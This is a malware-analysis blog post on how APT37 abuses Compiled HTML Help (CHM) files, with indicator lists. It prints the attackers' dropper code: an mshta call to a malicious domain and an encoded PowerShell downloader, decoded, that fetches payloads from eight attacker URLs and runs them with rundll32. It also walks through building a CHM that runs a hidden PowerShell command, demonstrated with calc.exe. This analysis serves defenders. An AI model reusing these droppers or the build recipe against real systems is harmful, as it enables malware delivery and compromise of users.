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20241114145726 - BLG - How CHM Files Are Used and Misused by Bad People

Pasted_image_20241115034745.png

Description

Monkey See Monkey Do, I wonder how the CHiMpanzee drool.

I have came across a few tweets in the past week with CHM file being used as part of an attack chain which I had no knowledge about. Therefore, this post is used to explore some samples to find out a little more about Compiled HTML Help files A.K.A HTMLHelp. Additionally, to better understand, I have also documented a method to replicate one of the samples to spawn a calculator instead.

What is CHM

CHM is a file format consisting of collection of HTML pages. It is also an archive of files. It is a Microsoft-proprietary format used to deliver “help” like documentation, tutorials and other resources. All of these are packed into a single compressed file which are commonly used in software help documentation.

We can also recognize chm files via the header value ITSF. From the hex dump, we can also see some HTML files which would be part of the [[#^e36d70|Table of Contents.hhc]].

Pasted_image_20241114192625.png

The following shows example files from the malware sample listed in the [[#^127b39|sample overview]].

Commands

This section explores at least two methods of usage of commands in chm files for delivering malware payload in an attack chain.

Running MSHTA.exe - (APT37)

Let’s look at the first example used by APT37.

Sample Overview

^127b39

The following chm is present in VirusTotal which is used by APT37.

NameSHA256
pay_202201_5_02-10424.chm9fdc4b3d6fbccc1abd8a08acd52b6380627e350faa99fcc348e5ed366c7b37af

Pasted_image_20241114150706.png

Extracted Archive

The following shows some of the items that were found in this compressed file. We can also make use of [[#^70e72b|HTTP Help Workshop Tool]] to “decompile” as well. You can do so by clicking on File > decompile to set the compiled help file and the output location to place the extracted files.

Pasted_image_20241114151041.png

An Attack Chain by APT37

The attack chain diagram is taken from ZScalar’s post.

Pasted_image_20241114184553.png

Table of Contents.hhc

^e36d70

This .hhc file is used to define the table of contents and navigation for a CHM file. This gives structure, potentially URLs or file links which leads to malicious resources. We can read more about the contents from Microsoft documentation.

Here is what is in the Table of Contents.hhc file:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft&reg; HTML Help Workshop 4.1">
<!-- Sitemap 1.0 -->
</HEAD><BODY>
<OBJECT type="text/site properties">
<param name="FrameName" value="1">
<param name="Window Styles" value="0x800025">
<param name="ImageType" value="Folder">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Start">
<param name="Local" value="Start.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Main">
<param name="Local" value="Main.html">
</OBJECT>
</UL>
</BODY></HTML>

Start.html

This is the first file that gets rendered. The Command here is ShortCut. A Button object with id x is created as a button which handles the shortcut. One of the item being a command to run mshta.exe to execute the 9.html. Unfortunately, I am not able to find the original 9.html on VirusTotal. However, that gives a really good idea about how chm files are used as part of the chain when delivering malware.

<HTML>
<TITLE> �������������� </TITLE>
<HEAD>
</HEAD>
<BODY>
<H1 align=center> �������������� </h1>
<br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",mshta.exe,http://attiferstudio.com/install.bak/sony/9.html ,">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<script>
x.Click();
location.href="Main.html";
</SCRIPT>
</BODY>
</HTML>
Suspicious Network IOC
DomainPort
attiferstudio.]com/install.]bak/sony/9.]html80
This domain is marked as malicious by Mandiant.

According to Shortcut | Microsoft Learn:

[!note] Creates a shortcut to a specified action by passing Windows-based messages and parameters. For example, if a topic discusses a procedure that involves a specific dialog box, you can provide a link that a user can click in the topic to open the dialog box in the program.

The following shows the output in FakeNet tool

11/13/24 11:59:48 PM [ HTTPListener80] GET /install.bak/sony/9.html HTTP/1.1
11/13/24 11:59:48 PM [ HTTPListener80] Accept: */*
11/13/24 11:59:48 PM [ HTTPListener80] Accept-Language: en-SG
11/13/24 11:59:48 PM [ HTTPListener80] UA-CPU: AMD64
11/13/24 11:59:48 PM [ HTTPListener80] Accept-Encoding: gzip, deflate
11/13/24 11:59:48 PM [ HTTPListener80] User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
11/13/24 11:59:48 PM [ HTTPListener80] Host: attiferstudio.com
11/13/24 11:59:48 PM [ HTTPListener80] Connection: Keep-Alive
11/13/24 11:59:48 PM [ HTTPListener80]

Main.html

This file contains the JavaScript Payload obfuscated which can be de-obfuscated with https://obf-io.deobfuscate.io/.

We can see a stark difference between the obfuscated and de-obfuscated code.

Obfuscated Code

Pasted_image_20241114154320.png

De-obfuscated

Pasted_image_20241114154417.png

The string array here give hints that there are further encoding end decoding that needs to be done. Furthermore, there seem to be some cryptographic operations performed as well as some hints of this sample being a download. It seems to also deal with different browser types and has different ways to deal with download blob data. As de-obfuscation isn’t the main focus, I won’t be dealing with it here.

Copyright(C) 2014 rimesoft.com string looks interesting but I have found just one available entry on Google.

Pasted_image_20241114175537.png http://windowfin.com/bbs/board.php/board.php?bo_table=windowfin&wr_id=592329 links to windowsexeAllkiller.com. This domain is hosted in Kakao Corp.

Pasted_image_20241114180046.png

The hash there seems legitimate according to Virustotal - ec386aa4a8e53033f92b80291c51e8b4. Furthermore, we see the neolook@gmail.]com string as well in the [[#^5dfb55|full string listing]].

Pasted_image_20241114175711.png

Full _0x11db String Array

^5dfb55

var _0x11db = ["str2bin", "bin2str", "hex2bin", "bin2hex", "encode64", "decode64", "UTF8Decode", "UTF8Encode", "insertJS", "length", "charCodeAt", "", "fromCharCode", "0x", "indexOf", "0X", "substring", "replace", "floor", "slice", "0", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", "charAt", "split", "join", "=", "\n", "head", "getElementsByTagName", "script", "createElement", "type", "text/javascript", "text", "appendChild", "hostname", "location", "protocol", "host", "pathname", "callLicense", "checkLicense1", "checkLicense2", "aaa", "bbb", "ccc", "ddd", "a : ", ", b : ", ", c : ", ", d : ", "innerHTML", "rime_jsguard_license", "getElementById", "Copyright(C) 2014 rimesoft.com. All rights reserved.", "rime_jsguard_licenseCheck", "By Sim,Jaehoon <[email protected]", "getDay", "Today is Sunday", "Today is Monday", "Today is Tuesday", "Today is Wednesday", "Today is Thursday", "Today is Friday", "Today is Saturday", "demo", "0123456789abcdef", "sha256", "sha256_self_test", "message digest", "f7846f55cf23e14eebeab5b4e1550cad5b509e3348fbc4efa3a1413d393cb650", "keySize", "numberOfRounds", "masterKey", "encRoundKeys", "decRoundKeys", "(Error)setupEncRoundKeys1 : Wrong Key Size.", "(Error)setupEncRoundKeys2 : Wrong Key.", "(Error)setupDecRoundKeys1 : Wrong Key Size.", "(Error)setupDecRoundKeys2 : Wrong Key.", "(Error)encrypt : Wrong Key Size.", "(Error)encrypt : Wrong Key.", "(Error)decrypt : Wrong Key Size.", "(Error)decrypt : Wrong Key.", "ceil", " ", "* ", " \n", "object", "number", "string", "concat", "Error: Wrong Key Size5.", "(Error)setKey : Wrong Key.", "getKeySize", "encrypt", "CBC", "ECB", "decrypt", "LITTLE", "BIG", "ENDIAN", "(Error)setupRoundKeys1 : Wrong Key Size.", "(Error)setupRoundKeys2 : Wrong Key.", "(Error)encryptSeed1 : Wrong Key Size.", "(Error)encryptSeed2 : Wrong Key.", "(Error)decryptSeed1 : Wrong Key Size.", "(Error)decryptSeed2 : Wrong Key.", "SEED ERR 001", "SEED ERR 002", "SEED ERR 003", "/", "//", "COPYRIGHT", "Co", "pyr", "ig", "ht(", "C) 2", "1", "4 ri", "me", "so", "ft.co", "m. A", "ll r", "igh", "ts re", "ser", "ve", "d.", "PROCESS", "substr", "<!-- -->", "<!--LIC_TO RIMESOFT-->", "unisafe_smail_process", "<!--LIC_TO", "unisafe_attach_process", "unisafe_smail_process_online_v01", "서버 접속 정보가 없습니다.\n정상적인 보안 메일이 아닙니다.", "unisafe_attach_process_online_v01", "&hash_data=", "&jsoncallback=?", "Result", ",", "OK", "서버로부터 받은 값이 정상적이지 않습니다(03).\n", "neolook_test==>", "서버로부터 받은 값이 정상적이지 않습니다(02).\n", "서버로부터 받은 값이 정상적이지 않습니다(01).\n", "(수신된 값이 없음)", "getJSON", "%20", "abort", "인터넷에 연결되어 있지 않은 경우 보안메일 열람이 불가능합니다.", "match", "userAgent", "application/octet-stream", "safari", "toLowerCase", "chrome", "Safari의 경우 이름을 변경할 수 없으며,\n", "사용자의 다운로드 폴더에 Unknown 또는 Unknown-숫자 형식으로 저장됩니다.\n\n", "완료 후 다운로드 폴더의 Unknown 파일을 \n", "[ ", " ]로\n", "바꾼 다음 사용하시기 바랍니다.\n\n", "[주의 : 큰 파일(3MB 이상)일 경우 safari가 다운될 수 있습니다.]", "application/octet-stream;base64,", "data:", "a", "download", "setAttribute", "href", "display", "style", "none", "onclick", "target", "removeChild", "body", "MouseEvent", "createEvent", "click", "initEvent", "dispatchEvent", "BlobBuilder", "WebKitBlobBuilder", "MozBlobBuilder", "MSBlobBuilder", "name", "TypeError", "append", "getBlob", "InvalidStateError", "unsupported browser", "msSaveBlob", "navigator", "Download File", "webkitURL", "firefox", "createObjectURL", "URL", "SEED-CBC", "write", "128"];
Translations
  • 서버 접속 정보가 없습니다.\n정상적인 보안 메일이 아닙니다.
    • There is no server connection information. This is not legitimate secure mail.
  • 서버로부터 받은 값이 정상적이지 않습니다(03).
    • The value received from the server is not normal (03).
  • 서버로부터 받은 값이 정상적이지 않습니다(02).
    • The value received from the server is not normal (02).
  • 서버로부터 받은 값이 정상적이지 않습니다(01)
    • The value received from the server is not normal (01)
  • (수신된 값이 없음)
    • (no value received)
  • 인터넷에 연결되어 있지 않은 경우 보안메일 열람이 불가능합니다.
    • If you’re not connected to the internet, you can’t view your secure mail.
  • Safari의 경우 이름을 변경할 수 없으며,
    • For Safari, you can’t rename it,
  • 사용자의 다운로드 폴더에 Unknown 또는 Unknown-숫자 형식으로 저장됩니다.
    • It is saved in the user’s Downloads folder in an Unknown or Unknown-number format.
  • 완료 후 다운로드 폴더의 Unknown 파일을
    • After completion, move the Unknown file in the Downloads folder to the
  • 바꾼 다음 사용하시기 바랍니다.
    • before using it.
  • [주의 : 큰 파일(3MB 이상)일 경우 safari가 다운될 수 있습니다.]
    • [Caution: large files (3MB or more) may cause safari to crash].

Different Sample, Same IOC by ZScalar

In this analysis, the same suspicious IOC was also used which is attributed to APT37 which targets South Korean Entities. Blog by ZScalar has included many chm hashes that we can reference as well.

Their chm file also downloads a similar filename 9.html .

Pasted_image_20241114180645.png

Here is another example of a help window showing text in Korean and getting from same domain but a 10.html.

Pasted_image_20241114182801.png Pasted_image_20241114182642.png

Running Powershell.exe

Let’s look at another example where instead of using mshta.exe, it made use of powershell commands to run encoded scripts.

Sample Overview

^127b39

The following chm is present in VirusTotal which is used by APT37.

NameSHA256
README-yD8348.chm)4e52c186ef4cbfc9249cd03416f17825138b449bcaddd7b79fe9a89b898d67fd

From the content preview, we can some sus html files. They are propagandising.htm and the README-yD8348.hhc which is the structure for chm.

Pasted_image_20241114195552.png

README-yD8348.hhc

^c1c8e6

This masquerades as a help documents that gives instruction on some IP settings.

Pasted_image_20241114200346.png Here is the content in the .hhc file.

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft&reg; HTML Help Workshop 4.1">
<!-- Sitemap 1.0 -->
</HEAD><BODY>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="IPv4 Advanced IP Settings Tab">
<param name="Local" value="README-yD8348.htm">
</OBJECT>
</UL>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="IPv4 Advanced WINS Tab">
<param name="Local" value="propagandising.htm">
</OBJECT>
</UL>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="IPv4 Alternate Configuration Tab">
<param name="Local" value="README-yD8348.htm">
</OBJECT>
</UL>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="IPv4 and IPv6 Advanced DNS Tab">
<param name="Local" value="propagandising.htm">
</OBJECT>
</UL>
</BODY>
</HTML>

README-yD8348.htm

The propagandising.htm does not seem to contain anything suspicious. However, the README-yD8348.htm contains Button objects with Command to a ShortCut similar to what we have [[#Start.html|seen previously]].

Encoded Command

This chunk of encoded command contains the 8 attacker domains addresses.

<HTML>
<TITLE>Check for Windows updates from Command Line</TITLE>
<HEAD>
</HEAD>
<BODY>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",cmd.exe,/c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAQQBuAG4AZQB4AGUAZABNAGEAbQBpAGwAbABhACAAPQAgACgAIgBoAHQAdABwAHMAOgAvAC8AbQByAGMAcgBpAHoAcQB1AG4AYQAuAGMAbwBtAC8ATAA3AGMAYwBOAC8AegBkAHAAMQBYAHYAQwBiADYALABoAHQAdABwAHMAOgAvAC8AbgBhAHkAYQBkAG8AZgBvAHUAbgBkAGEAdABpAG8AbgAuAG8AcgBnAC8AdwBYAGEASwBtAC8AQQBHAEkAZgA3AGgAQQB1AGcALABoAHQAdABwAHMAOgAvAC8AZwBzAHMAYwBvAHIAcABvAHIAYQB0AGkAbwBuAGwAdABkAC4AYwBvAG0ALwBvAGsAUwBmAGoALwBpADYAdAA5AGcAdQBwACwAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABsAG8AcwBtAGkAcgB0AG8AcwAuAGMAbwBtAC8AcwBqAG4ALwBjAGoAOABvAFUATgAsAGgAdAB0AHAAcwA6AC8ALwBjAGEAcgBsAGEAZAB2AG8AZwBhAGQAYQB0AHIAaQBiAHUAdABhAHIAaQBhAC4AYwBvAG0ALwB0AHYAbgBxADkALwBzAGkAZQA4ADcALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwB6AG4AbABRAGYAUgBqAGoAOQBFAHcAaQAsAGgAdAB0AHAAcwA6AC8ALwBjAGkAdAB5AHQAZQBjAGgALQBzAG8AbAB1AHQAaQBvAG4AcwAuAGMAbwBtAC8ANgBNAGgAMQBrAC8AQQA3AHIAaQBYADMAMAB5AHUALABoAHQAdABwAHMAOgAvAC8AZQByAGcALQBlAGcALgBjAG8AbQAvAG8AYwBtAGIALwB6AGQAegB0AEsARgBDAEgAMQBIACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAG0AZQByAGMAdQByAGkAZAAgAGkAbgAgACQAQQBuAG4AZQB4AGUAZABNAGEAbQBpAGwAbABhACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABtAGUAcgBjAHUAcgBpAGQAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAAxADUAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAHcAYQB5AGYAYQByAGUAcgBzAEMAbwBvAHAAdABlAGQALgBhAG4AZQBtAG8AbgBpAG4AUABhAHIAYQBiAG8AbABpAHoAZQA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAHcAYQB5AGYAYQByAGUAcgBzAEMAbwBvAHAAdABlAGQALgBhAG4AZQBtAG8AbgBpAG4AUABhAHIAYQBiAG8AbABpAHoAZQApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBOAG8ATABvAGcAbwAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAGUAbgBjAG8AZABlAGQAYwBvAG0AbQBhAG4AZAAgACIAYwB3AEIAMABBAEcARQBBAGMAZwBCADAAQQBDAEEAQQBjAGcAQgAxAEEARwA0AEEAWgBBAEIAcwBBAEcAdwBBAE0AdwBBAHkAQQBDAEEAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEYAUQBBAFIAUQBCAE4AQQBGAEEAQQBYAEEAQgAzAEEARwBFAEEAZQBRAEIAbQBBAEcARQBBAGMAZwBCAGwAQQBIAEkAQQBjAHcAQgBEAEEARwA4AEEAYgB3AEIAdwBBAEgAUQBBAFoAUQBCAGsAQQBDADQAQQBZAFEAQgB1AEEARwBVAEEAYgBRAEIAdgBBAEcANABBAGEAUQBCAHUAQQBGAEEAQQBZAFEAQgB5AEEARwBFAEEAWQBnAEIAdgBBAEcAdwBBAGEAUQBCADYAQQBHAFUAQQBMAEEAQgBOAEEARwA4AEEAZABBAEIAawBBAEQAcwBBACIAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAfQB9AA==">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
<html DIR="LTR" xmlns:MSHelp="http://msdn.microsoft.com/mshelp" xmlns:ddue="http://ddue.schemas.microsoft.com/authoring/2003/5" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:tool="http://www.microsoft.com/tooltip"><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html; CHARSET=Windows-1252"></META><META NAME="save" CONTENT="history"></META><title>IPv4 Advanced IP Settings Tab</title><link rel="stylesheet" type="text/css" href="../local/Classic.css"></link><script src="../local/script.js"></script></head><body><div id="header"><h1>IPv4 Advanced IP Settings Tab</h1></div><div id="mainSection"><div id="mainBody"><p class="runningHeader"></p>
<p>You can use the settings on this tab for this network connection only if you are not using the <b>Obtain an IP address automatically</b> on the <b>General</b> tab.</p>
<p><b>IP addresses</b> lists additional Internet Protocol version 4 (IPv4) addresses that can be assigned to this network connection. There is no limit to the number of IP addresses that can be configured. This setting is useful if this computer connects to a single physical network but requires advanced IP addressing because of either of the following reasons:</p>
...
...

The decoded PowerShell command is as follows:

Terminal window
Start-Sleep -Seconds 5;
$AnnexedMamilla = (
"https://mrcrizquna.com/L7ccN/zdp1XvCb6,https://nayadofoundation.org/wXaKm/AGIf7hAug,https://gsscorporationltd.com/okSfj/i6t9gup,https://hotellosmirtos.com/sjn/cj8oUN,https://carladvogadatributaria.com/tvnq9/sie87,https://zainco.net/OdOU/znlQfRjj9Ewi,https://citytech-solutions.com/6Mh1k/A7riX30yu,https://erg-eg.com/ocmb/zdztKFCH1H").split(",");
foreach ($mercurid in $AnnexedMamilla) {
try {
wget $mercurid -TimeoutSec 15 -O $env:TEMP\wayfarersCoopted.anemoninParabolize
if ((Get-Item $env:TEMP\wayfarersCoopted.anemoninParabolize).length -ge 100000) {
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "cwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXAB3AGEAeQBmAGEAcgBlAHIAcwBDAG8AbwBwAHQAZQBkAC4AYQBuAGUAbQBvAG4AaQBuAFAAYQByAGEAYgBvAGwAaQB6AGUALABNAG8AdABkADsA";
break;
}
}
catch {
Start-Sleep -Seconds 5;
}
}

Suspicious Network IOC

  • hxxps://mrcrizquna.]com/L7ccN/zdp1XvCb6
  • hxxps://nayadofoundation.rg/wXaKm/AGIf7hAug
  • hxxps://gsscorporationltd.]com/okSfj/i6t9gup
  • hxxps://hotellosmirtos.]com/sjn/cj8oUN
  • hxxps://carladvogadatributaria.].com/tvnq9/sie87
  • hxxps://zainco.]net/OdOU/znlQfRjj9Ewi
  • hxxps://citytech-solutions.]com/6Mh1k/A7riX30yu
  • hxxps://erg-eg.]com/ocmb/zdztKFCH1H

FakeNet captures this and indicated signs of powershell.exe as well.

Pasted_image_20241114202422.png

Running Downloaded Malware using rundll32

The inner powershell command to execute is:

Terminal window
start rundll32 $env:TEMP\wayfarersCoopted.anemoninParabolize,Motd;

Steps for Creating our own CHM file

CHM can be created with the help of HTML Help Workshop which can be downloaded from internet archive. Note that this downloaded file may be flagged by Windows Defender as a threat. ^70e72b

1. Create New Project

We can first start out by creating a new Project. I will name this project Fake IT HelpDesk.

Pasted_image_20241114232743.png When creating a new project, realize that we can have different types of file. I found that we can just skip this unless we have something done up already which we don’t.

Pasted_image_20241114220241.png

We will then be greeted with the following User Interface.

Pasted_image_20241114232904.png

2. Creating a new Help Page

We can now create a new page by going to File > New > HTML File. I have set the name of the page to IT Help Desk.

Pasted_image_20241114233059.png

Let’s edit this script with anything you want. After that, we can save the file. I will be replacing with the following content and saving as help.htm:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft&reg; HTML Help Workshop 4.1">
<Title>IT HelpDesk</Title>
<style>
body {
text-align: center;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
line-height: 1.6;
color: #333;
background-color: #f0f4f8;
margin: 0;
padding: 0;
}
.container {
max-width: 800px;
margin: 0 auto;
padding: 20px;
}
header {
background-color: #1a237e;
color: white;
text-align: center;
padding: 1em 0;
margin-bottom: 2em;
}
h1 {
margin: 0;
}
.concept {
background-color: white;
border-radius: 8px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
margin-bottom: 2em;
overflow: hidden;
}
.concept-header {
background-color: #3949ab;
color: white;
padding: 1em;
}
.concept-content {
padding: 1em;
}
.concept h2 {
margin: 0;
}
.concept p {
margin-bottom: 0;
}
</style>
</HEAD>
<BODY>
<header>
<h1>Understanding HTTP</h1>
</header>
<div class="container">
<div class="concept">
<div class="concept-header">
<h2>What is HTTP?</h2>
</div>
<div class="concept-content">
<p>HTTP (Hypertext Transfer Protocol) is the foundation of data communication on the World Wide Web. It's a protocol that allows for the transfer of data between a client (usually a web browser) and a server.</p>
</div>
</div>
<div class="concept">
<div class="concept-header">
<h2>HTTP Methods</h2>
</div>
<div class="concept-content">
<p>HTTP defines several request methods to indicate the desired action to be performed on the identified resource. The most common methods are GET (retrieve data), POST (submit data), PUT (update data), and DELETE (remove data).</p>
</div>
</div>
<div class="concept">
<div class="concept-header">
<h2>HTTP Status Codes</h2>
</div>
<div class="concept-content">
<p>HTTP status codes are three-digit numbers returned by a server in response to a client's request. They are grouped into five classes: Informational responses (100–199), Successful responses (200–299), Redirects (300–399), Client errors (400–499), and Server errors (500–599).</p>
</div>
</div>
<div class="concept">
<div class="concept-header">
<h2>HTTP Headers</h2>
</div>
<div class="concept-content">
<p>HTTP headers allow the client and the server to pass additional information with the request or the response. They define the operating parameters of an HTTP transaction. Common headers include Content-Type, User-Agent, and Authorization.</p>
</div>
</div>
</div>
</BODY>
</HTML>

3. Adding Topics

We can now add topic by clicking on the annotated button and add in the help.htm file.

Pasted_image_20241115025202.png

You can continue to [[#Creating a new Help Page|create more new pages]] and add it as topics in this step. I shall leave it for now. We should now be able to find the help.htm under the [FILES] section.

Pasted_image_20241115025248.png

4. Adding to Table Of Content (TOC)

We can now click on the Contents tab. After that, we can select the Create a new contents file since we do not have any existing one. This is the hhc file just like [[#^c1c8e6|discussed earlier]]. We can rename this to anything but the default seems to be Table of Contents.hhc. I will save it as the default.

5. Adding the ShortCut

We can now click on the HTML Help ActiveX Control button. This is where you can create or modify the Command that we have [[#Commands|discussed earlier]].

Pasted_image_20241115025323.png

We can select ShortCut in the command dropdown and for this post, we won’t be using any scripting to access the command so I’ll just leave it.

Pasted_image_20241115025416.png

I have selected the type to HIDDEN Pasted_image_20241115025433.png

For this program, I have set up a fake python server to run a PowerShell script to run calc.exe similar to the [[#Running Powershell.exe|second example]].

This are the inputs:

  • Program: cmd.exe
  • Parameters: /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAYQBsAGMALgBlAHgAZQA=
    • “Start-Process calc.exe” in Unicode

Pasted_image_20241115025940.png

Next, we can leave the Message, WPARAM and LPARAM empty for now and click Next , then Finish. We should now see the new Object being added into the source automatically at where your cursor was.

Pasted_image_20241115030031.png

[!note] We can then call the function Click on that created button

// <id_of_button>.Click()
<script> hhctrl.Click()</script>

6. Compilation

To compile, click File > compile

Pasted_image_20241115030556.png

7. Execution

Now, we can look for our Fake_IT_HelpDesk.chm file and run it. In Windows 11 at least, it would warn it we wish to view blocked content. Pasted_image_20241115030919.png

Let’s just assume that the user allowed to view blocked content due to compelling reason, we should see the calculator spawned!

Pasted_image_20241115031331.png

Looking at our Newly Created CHM

Let’s look at the archive: Pasted_image_20241115032031.png

We see our hhc file which should contain the structure for the compressed folder. Next, the help.htm is also present!

References

Annex A - Indicators Of Compromise (IOCs) by ZScalar

Lifted from: https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt3

Archive file hashes

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CHM file hashes

 

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122208301a3727c5fc7794ff0f7947bfsecurity-guide.chm
79e158af8ded991ee95a0f10654576cesecurityMail.chm
e7104d3e388530a43623981138112e03security_20220813.chm
af89179ef2c8365ca413fed8553159fashinhancard_20220218.chm
b7b1095620b8629c73191d5c05afc446z email content.chm
681a21cb83e82da88f42f9fb0dd764b6다문화 문제 답-추가.chm
5f2dcb1e51c8d574f43c8f7c7f84d9fa취임식 관련 자료.chm
72a38aa3e128d2ffca141a41a4101dca황선국-차예실의 요르단 이야기-34.chm
632104e97870c1177c211f5e2d963b75요약문.chm
ffba3072600a1f06d260137f82371227공지사항.chm
e557693cc879beeb1a455cac02724ea7보안메일.chm
71389f565a5ebe573c94d688fa6f23ea통일교육11.chm
920ccffa488d2b0e9aa19acc5f31fc3a제로깅크루_명단.chm
7c53f15614d5f9cf2791cb31811893a7폴리프라자Ⅲ, 4월 근무 현황.chm
fb60a976bbed174effa6081a35abee87사업유치제의서-목차.chm
bca3f0b4a5a1cbcd3efa1ca0df7f0d4b통일미래최고위과정_입학지원서.chm

LNK files

MD5 hashFilename
eb7a6e3dc8bbc26f208c511ec7ee1d4cLG유플러스_이동통신_202208_이_선.html.lnk
c5f954436e9623204ed961b9b33e769d계약사항 안내문_1.pdf.lnk

[!note] Please note that most of the HWP files mentioned below are clean decoy files used by the threat actor. The original filenames are included to give the reader insights into the themes used.

MD5 hashFilename
808fda00b7aa114182ba0ad9668ad4fb(227183-F)_사업진행상태보고서.hwp
6566697d2b2b7b562f3e4f74986ae3411.일반설계기준.hwp
70b327e1a2cf7863004436080848eddc2020_normal_ko.hwp
b8addd3c9e0c7f1ed8d4aafcb582e7552021년 ICT융합 스마트공장 구축 및 고도화 사업 최종감리보고서(엠플러스에프엔씨, 인버스, 정찬혁)_초안.hwp
07ad22218f9dc7da63b880ae5a65a1772022년 외국인 주민교류를 통한 기술인으로 진로 직업지도사업.hwp
de5319b8a5674994e66b8668b1d9884f220915 수정.hwp
a4706737645582e1b5f71a462dd011403. 개인정보보완서약서_북주협.hwp
d49ef08710c9397d6f6326c8dcbf5f4e3사복지업무홍보.hwp
96900e1e6090a015a893b7718d6295ddK-MOOC 수기 공모 이벤트.hwp
b35c3658a5ec3bd0e0b7e5c6c5bc936fRFQ_소각 및 발전설비 건설공사-보고-0614-Ver1.hwp
0ccb1c52b3de22b49756a2608cddd2e9UN 대북제재위원회 전문가 패널 보고서.hwp
d891219a50b17724228f9ae8c7494bbfUN 대북제재위원회 전문가 패널 보고서」요약.hwp
cac2d25c8e173c896eff0dd85f09c898[붙임] 제20대 대통령선거 제1차 정책토론회 시청 안내문-복사.hwp
ad922c7f0977c4aefcbc2c089cce8b66제39기 모집요강 및 입학지원서-재송.hwp
48153ac26eb10473b60e4011f5e004e9제8회 전국동시지방선거 제1차 정책토론회 시청 안내.hwp
0de54a8109f54c99d375fc0595649175논문 자료.hwp
0de54a8109f54c99d375fc0595649175사업 제안.hwp
bf478b6b500c53e05741e3955630182f오피스 365 + 설치설명서 입니다.hwp
7b29312a0f8d9a7d2354843f7c9c21ea텅스텐 W 99.hwp
6b8acab4941dcfb1dbe04bc9477e7605다문화 문제 답(12. 5 업데이트).hwp
8591125c0a95f8c1b1e179901f685fa3인터뷰(22. 9. 14).hwp
f1bd01dc27fe813aeade46fe55bd9e2e황선국-차예실의 요르단 이야기-34.hwp
ff072f99ea6d04c0a4ff0ab9d23440fc접수증-삼주글로벌 법인세 신고서 접수증.hwp
35f9802b98105fa72ec34d2b02649655공고문.hwp
5228e631cdd94ec8d8c9d68e044236f1위임장.hwp
5bdd6ad0c17ee2a1057bf16acb86f371확인서.hwp
c09bedb49199b09bcb362ba5dadcd22a함께가는 평화의 봄_과업지시.hwp
a2aeb5298413c2be9338084060db3428동남아와 국제정치(기말레포트).hwp
f8f994843851aba50ca35842b4cca8a3행사안내.hwp
6deceb3e2adff0481b30efe27e06542e백산연구원 소방서 제출용.hwp
0fd7e73e6672adaa1e5cf2dfca82e42e서식1, 4 강사이력서 및 개인정보동의서_북주협.hwp
e5afbbfa62efd599a1ab2dade7461d62폴리프라자Ⅲ, 4월 근무 현황.hwp
2e57c30259e5c33779940ce9a9f91378산업가스용도.hwp
c775aef36bc4b1b9a2b14fae46521c0e서영석고객님.hwp
